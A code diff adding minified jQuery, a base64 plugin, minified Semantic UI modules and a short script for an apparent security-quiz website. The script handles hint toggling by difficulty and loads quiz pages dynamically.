f,g,h,i,j,k,l,m,n,p,q,r=L.hasData(a)&&L.get(a);if(r&&(i=r.events)){b=(b||"").match(E)||[""],j=b.length;while(j--)if(h=Y.exec(b[j])||[],n=q=h[1],p=(h[2]||"").split(".").sort(),n){l=o.event.special[n]||{},n=(d?l.delegateType:l.bindType)||n,m=i[n]||[],h=h[2]&&new RegExp("(^|\\.)"+p.join("\\.(?:.*\\.|)")+"(\\.|$)"),g=f=m.length;while(f--)k=m[f],!e&&q!==k.origType||c&&c.guid!==k.guid||h&&!h.test(k.namespace)||d&&d!==k.selector&&("**"!==d||!k.selector)||(m.splice(f,1),k.selector&&m.delegateCount--,l.remove&&l.remove.call(a,k));g&&!m.length&&(l.teardown&&l.teardown.call(a,p,r.handle)!==!1||o.removeEvent(a,n,r.handle),delete i[n])}else for(n in i)o.event.remove(a,n+b[j],c,d,!0);o.isEmptyObject(i)&&(delete r.handle,L.remove(a,"events"))}},trigger:function(b,c,d,e){var f,g,h,i,k,l,n,p=[d||m],q=j.call(b,"type")?b.type:b,r=j.call(b,"namespace")?b.namespace.split("."):[];if(g=h=d=d||m,3!==d.nodeType&&8!==d.nodeType&&!X.test(q+o.event.triggered)&&(q.indexOf(".")>=0&&(r=q.split("."),q=r.shift(),r.sort()),k=q.indexOf(":")<0&&"on"+q,b=b[o.expando]?b:new o.Event(q,"object"==typeof b&&b),b.isTrigger=e?2:3,b.namespace=r.join("."),b.namespace_re=b.namespace?new RegExp("(^|\\.)"+r.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,b.result=void 0,b.target||(b.target=d),c=null==c?[b]:o.makeArray(c,[b]),n=o.event.special[q]||{},e||!n.trigger||n.trigger.apply(d,c)!==!1)){if(!e&&!n.noBubble&&!o.isWindow(d)){for(i=n.delegateType||q,X.test(i+q)||(g=g.parentNode);g;g=g.parentNode)p.push(g),h=g;h===(d.ownerDocument||m)&&p.push(h.deLine truncated
|
||||
return d||(f=$b[b],$b[b]=e,e=null!=c(a,b,d)?b.toLowerCase():null,$b[b]=f),e}});var _b=/^(?:input|select|textarea|button)$/i;o.fn.extend({prop:function(a,b){return J(this,o.prop,a,b,arguments.length>1)},removeProp:function(a){return this.each(function(){delete this[o.propFix[a]||a]})}}),o.extend({propFix:{"for":"htmlFor","class":"className"},prop:function(a,b,c){var d,e,f,g=a.nodeType;if(a&&3!==g&&8!==g&&2!==g)return f=1!==g||!o.isXMLDoc(a),f&&(b=o.propFix[b]||b,e=o.propHooks[b]),void 0!==c?e&&"set"in e&&void 0!==(d=e.set(a,c,b))?d:a[b]=c:e&&"get"in e&&null!==(d=e.get(a,b))?d:a[b]},propHooks:{tabIndex:{get:function(a){return a.hasAttribute("tabindex")||_b.test(a.nodeName)||a.href?a.tabIndex:-1}}}}),l.optSelected||(o.propHooks.selected={get:function(a){var b=a.parentNode;return b&&b.parentNode&&b.parentNode.selectedIndex,null}}),o.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){o.propFix[this.toLowerCase()]=this});var ac=/[\t\r\n\f]/g;o.fn.extend({addClass:function(a){var b,c,d,e,f,g,h="string"==typeof a&&a,i=0,j=this.length;if(o.isFunction(a))return this.each(function(b){o(this).addClass(a.call(this,b,this.className))});if(h)for(b=(a||"").match(E)||[];j>i;i++)if(c=this[i],d=1===c.nodeType&&(c.className?(" "+c.className+" ").replace(ac," "):" ")){f=0;while(e=b[f++])d.indexOf(" "+e+" ")<0&&(d+=e+" ");g=o.trim(d),c.className!==g&&(c.className=g)}return this},removeClass:function(a){var b,c,d,e,f,g,h=0===arguments.length||"string"==typeof a&&a,i=0,j=this.length;if(o.isFunction(a))return this.each(function(b){o(this).removeClass(a.call(this,b,this.className))});if(h)for(b=(a||"").match(E)||[];j>i;i++)if(c=this[i],d=1===c.nodeType&&(c.className?(" "+c.className+" ").replace(ac," "):"")){f=0;while(e=b[f++])while(d.indexOf(" "+e+" ")>=0)d=d.replace(" "+e+" "," ");g=a?o.trim(d):"",c.className!==g&&(c.className=g)}return this},toggleClass:function(a,b){var c=typeof a;return"boolean"==typeof b&&"string"===c?b?this.addClass(a):this.removeClass(a):this.each(o.isFunction(a)?function(c){o(this).toggleClass(a.call(this,c,this.className,b),b)}:function(){if("string"===c){var b,d=0,e=o(this),f=a.match(E)||[];while(b=f[d++])e.hasClass(b)?e.removeClass(b):e.addClass(b)}else(c===U||"boolean"===c)&&(this.className&&L.set(this,"__className__",this.className),this.className=this.className||a===!1?"":L.get(this,"__className__")||"")})},hasClass:function(a){for(var b=" "+a+" ",c=0,d=this.length;d>c;c++)if(1===this[c].nodeType&&(" "+this[c].className+" ").replace(ac," ").indexOf(b)>=0)return!0;return!1}});var bc=/\r/g;o.fn.extend({val:function(a){var b,c,d,e=this[0];{if(arguments.length)return d=o.isFunction(a),this.each(function(c){var e;1===this.nodeType&&(e=d?a.call(this,c,o(this).val()):a,null==e?e="":"number"==typeof e?e+="":o.isArray(e)&&(e=o.map(e,function(a){return null==a?"":a+""})),b=o.valHooks[this.type]||o.valHooks[this.nodeName.toLowerCase()],b&&"set"in b&&void 0!==b.set(this,e,"value")||(this.value=e))});if(e)return b=o.valHooks[e.type]||o.valHooks[e.nodeName.toLowerCase()],b&&"get"in b&&void 0!==(c=b.get(e,"value"))?c:(c=e.value,"string"==typeof c?c.replace(bc,""):null==c?"":c)}}}),o.extend({valHooks:{select:{get:function(a){for(var b,c,d=a.options,e=a.selectedIndex,f="select-one"===a.type||0>e,g=f?null:[],h=f?e+1:d.length,i=0>e?h:f?e:0;h>i;i++)if(c=d[i],!(!c.selected&&i!==e||(l.optDisabled?c.disabled:null!==c.getAttribute("disabled"))||c.parentNode.disabled&&o.nodeName(c.parentNode,"optgroup"))){if(b=o(c).val(),f)return b;g.push(b)}return g},set:function(a,b){var c,d,e=a.options,f=o.makeArray(b),g=e.length;while(g--)d=e[g],(d.selected=o.inArray(o(d).val(),f)>=0)&&(c=!0);return c||(a.selectedIndex=-1),f}}}}),o.each(["radio","checkbox"],function(){o.valHooks[this]={set:function(a,b){return o.isArray(b)?a.checked=o.inArray(o(a).val(),b)>=0:void 0}},l.checkOn||(o.valHooks[this].get=function(a){return null===a.getAttribute("value")?"on":a.value})}),o.each("blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu".split(" "),function(a,b){o.fn[b]=function(a,c){return arguments.length>0?this.on(b,null,a,c):this.trigger(b)}}),o.fn.extend({hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)},bind:function(a,b,c){return this.on(a,null,b,c)},unbind:function(a,b){return this.off(a,null,b)},delegate:function(a,b,c,d){return this.on(b,a,c,d)},undelegate:function(a,b,c){return 1===arguments.length?this.off(a,"**"):this.off(b,a||"**",c)}});var cc=o.now(),dc=/\?/;o.parseJSON=function(a){return JSON.parse(a+"")},o.parseXML=function(a){var b,c;if(!a||"string"!=typeof a)return null;try{c=new DOMParser,b=c.parseFromString(a,"text/xml")}catch(d){b=void 0}return(!b||b.getElementsByTagName("parsererror").length)&&o.error("Invalid XML: "+a),b};var ec,fc,gc=/#.*$/,hc=/([?&])_=[^&]*/,ic=/^(.*?):[ \t]*(Line truncated
|
||||
@@ -0,0 +1 @@
|
||||
"use strict";jQuery.base64=(function($){var _PADCHAR="=",_ALPHA="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",_VERSION="1.0";function _getbyte64(s,i){var idx=_ALPHA.indexOf(s.charAt(i));if(idx===-1){throw"Cannot decode base64"}return idx}function _decode(s){var pads=0,i,b10,imax=s.length,x=[];s=String(s);if(imax===0){return s}if(imax%4!==0){throw"Cannot decode base64"}if(s.charAt(imax-1)===_PADCHAR){pads=1;if(s.charAt(imax-2)===_PADCHAR){pads=2}imax-=4}for(i=0;i<imax;i+=4){b10=(_getbyte64(s,i)<<18)|(_getbyte64(s,i+1)<<12)|(_getbyte64(s,i+2)<<6)|_getbyte64(s,i+3);x.push(String.fromCharCode(b10>>16,(b10>>8)&255,b10&255))}switch(pads){case 1:b10=(_getbyte64(s,i)<<18)|(_getbyte64(s,i+1)<<12)|(_getbyte64(s,i+2)<<6);x.push(String.fromCharCode(b10>>16,(b10>>8)&255));break;case 2:b10=(_getbyte64(s,i)<<18)|(_getbyte64(s,i+1)<<12);x.push(String.fromCharCode(b10>>16));break}return x.join("")}function _getbyte(s,i){var x=s.charCodeAt(i);if(x>255){throw"INVALID_CHARACTER_ERR: DOM Exception 5"}return x}function _encode(s){if(arguments.length!==1){throw"SyntaxError: exactly one argument required"}s=String(s);var i,b10,x=[],imax=s.length-s.length%3;if(s.length===0){return s}for(i=0;i<imax;i+=3){b10=(_getbyte(s,i)<<16)|(_getbyte(s,i+1)<<8)|_getbyte(s,i+2);x.push(_ALPHA.charAt(b10>>18));x.push(_ALPHA.charAt((b10>>12)&63));x.push(_ALPHA.charAt((b10>>6)&63));x.push(_ALPHA.charAt(b10&63))}switch(s.length-imax){case 1:b10=_getbyte(s,i)<<16;x.push(_ALPHA.charAt(b10>>18)+_ALPHA.charAt((b10>>12)&63)+_PADCHAR+_PADCHAR);break;case 2:b10=(_getbyte(s,i)<<16)|(_getbyte(s,i+1)<<8);x.push(_ALPHA.charAt(b10>>18)+_ALPHA.charAt((b10>>12)&63)+_ALPHA.charAt((b10>>6)&63)+_PADCHAR);break}return x.join("")}return{decode:_decode,encode:_encode,VERSION:_VERSION}}(jQuery));
|
||||
@@ -0,0 +1,69 @@
|
||||
$(function () {
|
||||
|
||||
var changed = false;
|
||||
|
||||
// Hints
|
||||
$('.hint').replaceWith(function () {
|
||||
return '<div><a href="#" class="hintlink" onclick="$(this).next().slideToggle(); return false;">Bekijk hint</a>' + $(this).hide()[0].outerHTML + '</div>';
|
||||
});
|
||||
|
||||
$('#difficulty').change(function (e) {
|
||||
var option = $(this).find(':selected').val();
|
||||
|
||||
|
||||
$('.hintlink').toggle(option == 'normal');
|
||||
$('.hint').toggle(option == 'easy');
|
||||
|
||||
|
||||
window.localStorage.setItem('difficulty', option);
|
||||
});
|
||||
|
||||
// Set the selected property
|
||||
if (window.localStorage['difficulty']) {
|
||||
var difficulty = window.localStorage['difficulty'];
|
||||
} else {
|
||||
var difficulty = 'normal';
|
||||
}
|
||||
|
||||
$('#difficulty option').filter(function () {
|
||||
return $(this).val() == difficulty;
|
||||
}).prop('selected', true);
|
||||
$('#difficulty').trigger('change');
|
||||
|
||||
function loadPage(page) {
|
||||
$('#quiz').load('/' + page + '.html?cachebuster=' + Math.random());
|
||||
}
|
||||
|
||||
function getPage(link) {
|
||||
if (link.lastIndexOf('?') === -1) {
|
||||
return '';
|
||||
}
|
||||
return link.substring(link.lastIndexOf('?') + 1);
|
||||
}
|
||||
|
||||
// Dynamically load pages
|
||||
$('#menu a').click(function (e, element) {
|
||||
var page = getPage(e.target.href);
|
||||
|
||||
window.history.pushState({ page: page }, 'Security', e.target.href);
|
||||
loadPage(page);
|
||||
e.preventDefault();
|
||||
});
|
||||
|
||||
window.onpopstate = function (event) {
|
||||
if (event.state) {
|
||||
loadPage(event.state.page);
|
||||
} else {
|
||||
window.location.href = '/';
|
||||
}
|
||||
}
|
||||
|
||||
// Load page
|
||||
var page = getPage(window.location.href);
|
||||
if (page !== '') {
|
||||
loadPage(page);
|
||||
} else {
|
||||
loadPage('sql');
|
||||
}
|
||||
|
||||
});
|
||||
@@ -0,0 +1,17 @@
|
||||
/*
|
||||
* # Semantic UI - 1.8.1
|
||||
* https://github.com/Semantic-Org/Semantic-UI
|
||||
* http://www.semantic-ui.com/
|
||||
*
|
||||
* Copyright 2014 Contributors
|
||||
* Released under the MIT license
|
||||
* http://opensource.org/licenses/MIT
|
||||
*
|
||||
*/
|
||||
!function(e,t,n,i){e.site=e.fn.site=function(o){var a,r,s=(new Date).getTime(),c=[],l=arguments[0],u="string"==typeof l,d=[].slice.call(arguments,1),f=e.isPlainObject(o)?e.extend(!0,{},e.site.settings,o):e.extend({},e.site.settings),m=f.namespace,g=f.error,p="module-"+m,v=e(n),h=v,b=this,y=h.data(p);return a={initialize:function(){a.instantiate()},instantiate:function(){a.verbose("Storing instance of site",a),y=a,h.data(p,a)},normalize:function(){a.fix.console(),a.fix.requestAnimationFrame()},fix:{console:function(){a.debug("Normalizing window.console"),(console===i||console.log===i)&&(a.verbose("Console not available, normalizing events"),a.disable.console()),("undefined"==typeof console.group||"undefined"==typeof console.groupEnd||"undefined"==typeof console.groupCollapsed)&&(a.verbose("Console group not available, normalizing events"),t.console.group=function(){},t.console.groupEnd=function(){},t.console.groupCollapsed=function(){}),"undefined"==typeof console.markTimeline&&(a.verbose("Mark timeline not available, normalizing events"),t.console.markTimeline=function(){})},consoleClear:function(){a.debug("Disabling programmatic console clearing"),t.console.clear=function(){}},requestAnimationFrame:function(){a.debug("Normalizing requestAnimationFrame"),t.requestAnimationFrame===i&&(a.debug("RequestAnimationFrame not available, normailizing event"),t.requestAnimationFrame=t.requestAnimationFrame||t.mozRequestAnimationFrame||t.webkitRequestAnimationFrame||t.msRequestAnimationFrame||function(e){setTimeout(e,0)})}},moduleExists:function(t){return e.fn[t]!==i&&e.fn[t].settings!==i},enabled:{modules:function(t){var n=[];return t=t||f.modules,e.each(t,function(e,t){a.moduleExists(t)&&n.push(t)}),n}},disabled:{modules:function(t){var n=[];return t=t||f.modules,e.each(t,function(e,t){a.moduleExists(t)||n.push(t)}),n}},change:{setting:function(t,n,o,r){o="string"==typeof o?"all"===o?f.modules:[o]:o||f.modules,r=r!==i?r:!0,e.each(o,function(i,o){var s,c=a.moduleExists(o)?e.fn[o].settings.namespace||!1:!0;a.moduleExists(o)&&(a.verbose("Changing default setting",t,n,o),e.fn[o].settings[t]=n,r&&c&&(s=e(":data(module-"+c+")"),s.length>0&&(a.verbose("Modifying existing settings",s),s[o]("setting",t,n))))})},settings:function(t,n,o){n="string"==typeof n?[n]:n||f.modules,o=o!==i?o:!0,e.each(n,function(n,i){var r;a.moduleExists(i)&&(a.verbose("Changing default setting",t,i),e.extend(!0,e.fn[i].settings,t),o&&m&&(r=e(":data(module-"+m+")"),r.length>0&&(a.verbose("Modifying existing settings",r),r[i]("setting",t))))})}},enable:{console:function(){a.console(!0)},debug:function(e,t){e=e||f.modules,a.debug("Enabling debug for modules",e),a.change.setting("debug",!0,e,t)},verbose:function(e,t){e=e||f.modules,a.debug("Enabling verbose debug for modules",e),a.change.setting("verbose",!0,e,t)}},disable:{console:function(){a.console(!1)},debug:function(e,t){e=e||f.modules,a.debug("Disabling debug for modules",e),a.change.setting("debug",!1,e,t)},verbose:function(e,t){e=e||f.modules,a.debug("Disabling verbose debug for modules",e),a.change.setting("verbose",!1,e,t)}},console:function(e){if(e){if(y.cache.console===i)return void a.error(g.console);a.debug("Restoring console function"),t.console=y.cache.console}else a.debug("Disabling console function"),y.cache.console=t.console,t.console={clear:function(){},error:function(){},group:function(){},groupCollapsed:function(){},groupEnd:function(){},info:function(){},log:function(){},markTimeline:function(){},warn:function(){}}},destroy:function(){a.verbose("Destroying previous site for",h),h.removeData(p)},cache:{},setting:function(t,n){if(e.isPlainObject(t))e.extend(!0,f,t);else{if(n===i)return f[t];f[t]=n}},internal:function(t,n){if(e.isPlainObject(t))e.extend(!0,a,t);else{if(n===i)return a[t];a[t]=n}},debug:function(){f.debug&&(f.performance?a.performance.log(arguments):(a.debug=Function.prototype.bind.call(console.info,console,f.name+":"),a.debug.apply(console,arguments)))},verbose:function(){f.verbose&&f.debug&&(f.performance?a.performance.log(arguments):(a.verbose=Function.prototype.bind.call(console.info,console,f.name+":"),a.verbose.apply(console,arguments)))},error:function(){a.error=Function.prototype.bind.call(console.error,console,f.name+":"),a.error.apply(console,arguments)},performance:{log:function(e){var t,n,i;f.performance&&(t=(new Date).getTime(),i=s||t,n=t-i,s=t,c.push({Element:b,Name:e[0],Arguments:[].slice.call(e,1)||"","Execution Time":n})),clearTimeout(a.performance.timer),a.performance.timer=setTimeout(a.performance.display,100)},display:function(){var t=f.name+":",n=0;s=!1,clearTimeout(a.performance.timer),e.each(c,function(e,t){n+=t["Execution Time"]}),t+=" "+n+"ms",(console.group!==i||console.table!==i)&&c.length>0&&(console.groupCollapsed(t),console.table?console.table(c):e.each(c,function(e,t){console.log(t.Name+": "+t["Execution Time"]+"ms")}),console.groupEnd()),c=[]}},invoke:function(t,n,o){var s,c,l,u=y;return n=n||d,o=b||o,"string"==typeof t&&u!==i&&(t=t.spLine truncated
|
||||
},toggle:function(){m.verbose("Toggling dimmer visibility",d),m.is.dimmed()?m.hide():m.show()},animate:{show:function(t){t=e.isFunction(t)?t:function(){},g.useCSS&&e.fn.transition!==i&&d.transition("is supported")?d.transition({animation:g.transition+" in",queue:!1,duration:m.get.duration(),onStart:function(){m.set.dimmed()},onComplete:function(){m.set.active(),t()}}):(m.verbose("Showing dimmer animation with javascript"),m.set.dimmed(),d.stop().css({opacity:0,width:"100%",height:"100%"}).fadeTo(m.get.duration(),1,function(){d.removeAttr("style"),m.set.active(),t()}))},hide:function(t){t=e.isFunction(t)?t:function(){},g.useCSS&&e.fn.transition!==i&&d.transition("is supported")?(m.verbose("Hiding dimmer with css"),d.transition({animation:g.transition+" out",queue:!1,duration:m.get.duration(),onStart:function(){m.remove.dimmed()},onComplete:function(){m.remove.active(),t()}})):(m.verbose("Hiding dimmer with javascript"),m.remove.dimmed(),d.stop().fadeOut(m.get.duration(),function(){m.remove.active(),d.removeAttr("style"),t()}))}},get:{dimmer:function(){return d},duration:function(){return"object"==typeof g.duration?m.is.active()?g.duration.hide:g.duration.show:g.duration}},has:{dimmer:function(){return g.dimmerName?T.children(p.dimmer).filter("."+g.dimmerName).length>0:T.children(p.dimmer).length>0}},is:{active:function(){return d.hasClass(h.active)},animating:function(){return d.is(":animated")||d.hasClass(h.animating)},closable:function(){return"auto"==g.closable?"hover"==g.on?!1:!0:g.closable},dimmer:function(){return T.is(p.dimmer)},dimmable:function(){return T.is(p.dimmable)},dimmed:function(){return f.hasClass(h.dimmed)},disabled:function(){return f.hasClass(h.disabled)},enabled:function(){return!m.is.disabled()},page:function(){return f.is("body")},pageDimmer:function(){return d.hasClass(h.pageDimmer)}},can:{show:function(){return!d.hasClass(h.disabled)}},set:{active:function(){d.addClass(h.active)},dimmable:function(){f.addClass(h.dimmable)},dimmed:function(){f.addClass(h.dimmed)},pageDimmer:function(){d.addClass(h.pageDimmer)},disabled:function(){d.addClass(h.disabled)}},remove:{active:function(){d.removeClass(h.active)},dimmed:function(){f.removeClass(h.dimmed)},disabled:function(){d.removeClass(h.disabled)}},setting:function(t,n){if(m.debug("Changing setting",t,n),e.isPlainObject(t))e.extend(!0,g,t);else{if(n===i)return g[t];g[t]=n}},internal:function(t,n){if(e.isPlainObject(t))e.extend(!0,m,t);else{if(n===i)return m[t];m[t]=n}},debug:function(){g.debug&&(g.performance?m.performance.log(arguments):(m.debug=Function.prototype.bind.call(console.info,console,g.name+":"),m.debug.apply(console,arguments)))},verbose:function(){g.verbose&&g.debug&&(g.performance?m.performance.log(arguments):(m.verbose=Function.prototype.bind.call(console.info,console,g.name+":"),m.verbose.apply(console,arguments)))},error:function(){m.error=Function.prototype.bind.call(console.error,console,g.name+":"),m.error.apply(console,arguments)},performance:{log:function(e){var t,n,i;g.performance&&(t=(new Date).getTime(),i=r||t,n=t-i,r=t,s.push({Name:e[0],Arguments:[].slice.call(e,1)||"",Element:k,"Execution Time":n})),clearTimeout(m.performance.timer),m.performance.timer=setTimeout(m.performance.display,100)},display:function(){var t=g.name+":",n=0;r=!1,clearTimeout(m.performance.timer),e.each(s,function(e,t){n+=t["Execution Time"]}),t+=" "+n+"ms",w&&(t+=" '"+w+"'"),a.length>1&&(t+=" ("+a.length+")"),(console.group!==i||console.table!==i)&&s.length>0&&(console.groupCollapsed(t),console.table?console.table(s):e.each(s,function(e,t){console.log(t.Name+": "+t["Execution Time"]+"ms")}),console.groupEnd()),s=[]}},invoke:function(t,n,a){var r,s,c,l=S;return n=n||u,a=k||a,"string"==typeof t&&l!==i&&(t=t.split(/[\. ]/),r=t.length-1,e.each(t,function(n,o){var a=n!=r?o+t[n+1].charAt(0).toUpperCase()+t[n+1].slice(1):t;if(e.isPlainObject(l[a])&&n!=r)l=l[a];else{if(l[a]!==i)return s=l[a],!1;if(!e.isPlainObject(l[o])||n==r)return l[o]!==i?(s=l[o],!1):(m.error(b.method,t),!1);l=l[o]}})),e.isFunction(s)?c=s.apply(a,n):s!==i&&(c=s),e.isArray(o)?o.push(c):o!==i?o=[o,c]:c!==i&&(o=c),s}},m.preinitialize(),l?(S===i&&m.initialize(),m.invoke(c)):(S!==i&&m.destroy(),m.initialize())}),o!==i?o:this},e.fn.dimmer.settings={name:"Dimmer",namespace:"dimmer",debug:!1,verbose:!0,performance:!0,dimmerName:!1,variation:!1,closable:"auto",transition:"fade",useCSS:!0,on:!1,duration:{show:500,hide:500},onChange:function(){},onShow:function(){},onHide:function(){},error:{method:"The method you called is not defined."},selector:{dimmable:".dimmable",dimmer:".ui.dimmer",content:".ui.dimmer > .content, .ui.dimmer > .content > .center"},template:{dimmer:function(){return e("<div />").attr("class","ui dimmer")}},className:{active:"active",animating:"animating",dimmable:"dimmable",dimmed:"dimmed",disabled:"disabled",hide:"hide",pageDimmer:"page",show:"show"}}}(jQuery,window,document),function(e,t,n,i){"use strict";e.fn.dropdown=function(o){var a,r=e(this),s=e(n),c=r.selecLine truncated
|
||||
},hideOthers:function(t){t=e.isFunction(t)?t:function(){},h.is(":visible")&&(k.debug("Hiding other modals",h),h.filter(":visible").modal("hide modal",t))},othersActive:function(){return h.filter("."+P.active).length>0},add:{keyboardShortcuts:function(){k.verbose("Adding keyboard shortcuts"),c.on("keyup"+R,k.event.keyboard)}},save:{focus:function(){b=e(n.activeElement).blur()}},restore:{focus:function(){b&&b.length>0&&b.focus()}},remove:{active:function(){O.removeClass(P.active)},clickaway:function(){S.closable&&x.off("click"+w)},screenHeight:function(){k.cache.height>k.cache.pageHeight&&(k.debug("Removing page height"),l.css("height",""))},keyboardShortcuts:function(){k.verbose("Removing keyboard shortcuts"),c.off("keyup"+R)},scrolling:function(){y.removeClass(P.scrolling),O.removeClass(P.scrolling)}},cacheSizes:function(){var o=O.outerHeight();(k.cache===i||0!==o)&&(k.cache={pageHeight:e(n).outerHeight(),height:o+S.offset,contextHeight:"body"==S.context?e(t).height():y.height()}),k.debug("Caching modal and container sizes",k.cache)},can:{fit:function(){return k.cache.height<k.cache.contextHeight}},is:{active:function(){return O.hasClass(P.active)},animating:function(){return O.transition("is supported")?O.transition("is animating"):O.is(":visible")},scrolling:function(){return y.hasClass(P.scrolling)},modernBrowser:function(){return!(t.ActiveXObject||"ActiveXObject"in t)}},set:{autofocus:function(){if(S.autofocus){var e=O.find(":input:visible"),t=e.filter("[autofocus]"),n=t.length>0?t:e;n.first().focus()}},clickaway:function(){S.closable&&x.on("click"+w,k.event.click)},screenHeight:function(){k.cache.height>k.cache.pageHeight?(k.debug("Modal is taller than page content, resizing page height"),l.css("height",k.cache.height+S.padding)):l.css("height","")},active:function(){O.addClass(P.active)},scrolling:function(){y.addClass(P.scrolling),O.addClass(P.scrolling)},type:function(){k.can.fit()?(k.verbose("Modal fits on screen"),k.othersActive||k.remove.scrolling()):(k.verbose("Modal cannot fit on screen setting to scrolling"),k.set.scrolling())},position:function(){k.verbose("Centering modal on page",k.cache),O.css(k.can.fit()?{top:"",marginTop:-(k.cache.height/2)}:{marginTop:"",top:c.scrollTop()})}},setting:function(t,n){if(k.debug("Changing setting",t,n),e.isPlainObject(t))e.extend(!0,S,t);else{if(n===i)return S[t];S[t]=n}},internal:function(t,n){if(e.isPlainObject(t))e.extend(!0,k,t);else{if(n===i)return k[t];k[t]=n}},debug:function(){S.debug&&(S.performance?k.performance.log(arguments):(k.debug=Function.prototype.bind.call(console.info,console,S.name+":"),k.debug.apply(console,arguments)))},verbose:function(){S.verbose&&S.debug&&(S.performance?k.performance.log(arguments):(k.verbose=Function.prototype.bind.call(console.info,console,S.name+":"),k.verbose.apply(console,arguments)))},error:function(){k.error=Function.prototype.bind.call(console.error,console,S.name+":"),k.error.apply(console,arguments)},performance:{log:function(e){var t,n,i;S.performance&&(t=(new Date).getTime(),i=d||t,n=t-i,d=t,f.push({Name:e[0],Arguments:[].slice.call(e,1)||"",Element:q,"Execution Time":n})),clearTimeout(k.performance.timer),k.performance.timer=setTimeout(k.performance.display,100)},display:function(){var t=S.name+":",n=0;d=!1,clearTimeout(k.performance.timer),e.each(f,function(e,t){n+=t["Execution Time"]}),t+=" "+n+"ms",u&&(t+=" '"+u+"'"),(console.group!==i||console.table!==i)&&f.length>0&&(console.groupCollapsed(t),console.table?console.table(f):e.each(f,function(e,t){console.log(t.Name+": "+t["Execution Time"]+"ms")}),console.groupEnd()),f=[]}},invoke:function(t,n,o){var r,s,c,l=N;return n=n||p,o=q||o,"string"==typeof t&&l!==i&&(t=t.split(/[\. ]/),r=t.length-1,e.each(t,function(n,o){var a=n!=r?o+t[n+1].charAt(0).toUpperCase()+t[n+1].slice(1):t;if(e.isPlainObject(l[a])&&n!=r)l=l[a];else{if(l[a]!==i)return s=l[a],!1;if(!e.isPlainObject(l[o])||n==r)return l[o]!==i?(s=l[o],!1):!1;l=l[o]}})),e.isFunction(s)?c=s.apply(o,n):s!==i&&(c=s),e.isArray(a)?a.push(c):a!==i?a=[a,c]:c!==i&&(a=c),s}},g?(N===i&&k.initialize(),k.invoke(m)):(N!==i&&k.destroy(),k.initialize())}),a!==i?a:this},e.fn.modal.settings={name:"Modal",namespace:"modal",debug:!1,verbose:!0,performance:!0,allowMultiple:!1,detachable:!0,closable:!0,autofocus:!0,dimmerSettings:{closable:!1,useCSS:!0},context:"body",queue:!1,duration:500,easing:"easeOutExpo",offset:0,transition:"scale",padding:30,onShow:function(){},onHide:function(){},onVisible:function(){},onHidden:function(){},onApprove:function(){return!0},onDeny:function(){return!0},selector:{close:".close, .actions .button",approve:".actions .positive, .actions .approve, .actions .ok",deny:".actions .negative, .actions .deny, .actions .cancel",modal:".ui.modal"},error:{dimmer:"UI Dimmer, a required component is not included in this page",method:"The method you called is not defined.",notFound:"The element you specified could not be found"},className:{active:"active",animating:"animating",scrolling:"scrolling"}}}(jQuLine truncated
|
||||
},error:function(){f.error=Function.prototype.bind.call(console.error,console,m.name+":"),f.error.apply(console,arguments)},performance:{log:function(e){var t,n,i;m.performance&&(t=(new Date).getTime(),i=s||t,n=t-i,s=t,c.push({Name:e[0],Arguments:[].slice.call(e,1)||"",Element:S,"Execution Time":n})),clearTimeout(f.performance.timer),f.performance.timer=setTimeout(f.performance.display,100)},display:function(){var t=m.name+":",n=0;s=!1,clearTimeout(f.performance.timer),e.each(c,function(e,t){n+=t["Execution Time"]}),t+=" "+n+"ms",r&&(t+=" '"+r+"'"),(console.group!==i||console.table!==i)&&c.length>0&&(console.groupCollapsed(t),console.table?console.table(c):e.each(c,function(e,t){console.log(t.Name+": "+t["Execution Time"]+"ms")}),console.groupEnd()),c=[]}},invoke:function(t,n,a){var r,s,c,l=A;return n=n||d,a=S||a,"string"==typeof t&&l!==i&&(t=t.split(/[\. ]/),r=t.length-1,e.each(t,function(n,o){var a=n!=r?o+t[n+1].charAt(0).toUpperCase()+t[n+1].slice(1):t;if(e.isPlainObject(l[a])&&n!=r)l=l[a];else{if(l[a]!==i)return s=l[a],!1;if(!e.isPlainObject(l[o])||n==r)return l[o]!==i?(s=l[o],!1):(f.error(b.method,t),!1);l=l[o]}})),e.isFunction(s)?c=s.apply(a,n):s!==i&&(c=s),e.isArray(o)?o.push(c):o!==i?o=[o,c]:c!==i&&(o=c),s}},u?(A===i&&f.initialize(),f.invoke(l)):(A!==i&&f.destroy(),f.initialize())}),o!==i?o:this},e.fn.progress.settings={name:"Progress",namespace:"progress",debug:!1,verbose:!0,performance:!0,random:{min:2,max:5},duration:300,autoSuccess:!0,showActivity:!0,limitValues:!0,label:"percent",precision:1,framerate:1e3/30,percent:!1,total:!1,value:!1,onChange:function(){},onSuccess:function(){},onActive:function(){},onError:function(){},onWarning:function(){},error:{method:"The method you called is not defined.",nonNumeric:"Progress value is non numeric",tooHigh:"Value specified is above 100%",tooLow:"Value specified is below 0%"},regExp:{variable:/\{\$*[A-z0-9]+\}/g},metadata:{percent:"percent",total:"total",value:"value"},selector:{bar:"> .bar",label:"> .label",progress:".bar > .progress"},text:{active:!1,error:!1,success:!1,warning:!1,percent:"{percent}%",ratio:"{value} of {total}"},className:{active:"active",error:"error",success:"success",warning:"warning"}}}(jQuery,window,document),function(e,t,n,i){"use strict";e.fn.rating=function(t){var n,o=e(this),a=o.selector||"",r=(new Date).getTime(),s=[],c=arguments[0],l="string"==typeof c,u=[].slice.call(arguments,1);return o.each(function(){var d,f=e.isPlainObject(t)?e.extend(!0,{},e.fn.rating.settings,t):e.extend({},e.fn.rating.settings),m=f.namespace,g=f.className,p=f.metadata,v=f.selector,h=(f.error,"."+m),b="module-"+m,y=this,x=e(this).data(b),w=e(this),C=w.find(v.icon);d={initialize:function(){d.verbose("Initializing rating module",f),0===C.length&&d.setup.layout(),f.interactive?d.enable():d.disable(),f.initialRating&&(d.debug("Setting initial rating"),d.setRating(f.initialRating)),w.data(p.rating)&&(d.debug("Rating found in metadata"),d.setRating(w.data(p.rating))),d.instantiate()},instantiate:function(){d.verbose("Instantiating module",f),x=d,w.data(b,d)},destroy:function(){d.verbose("Destroying previous instance",x),w.removeData(b),C.off(h)},refresh:function(){C=w.find(v.icon)},setup:{layout:function(){var 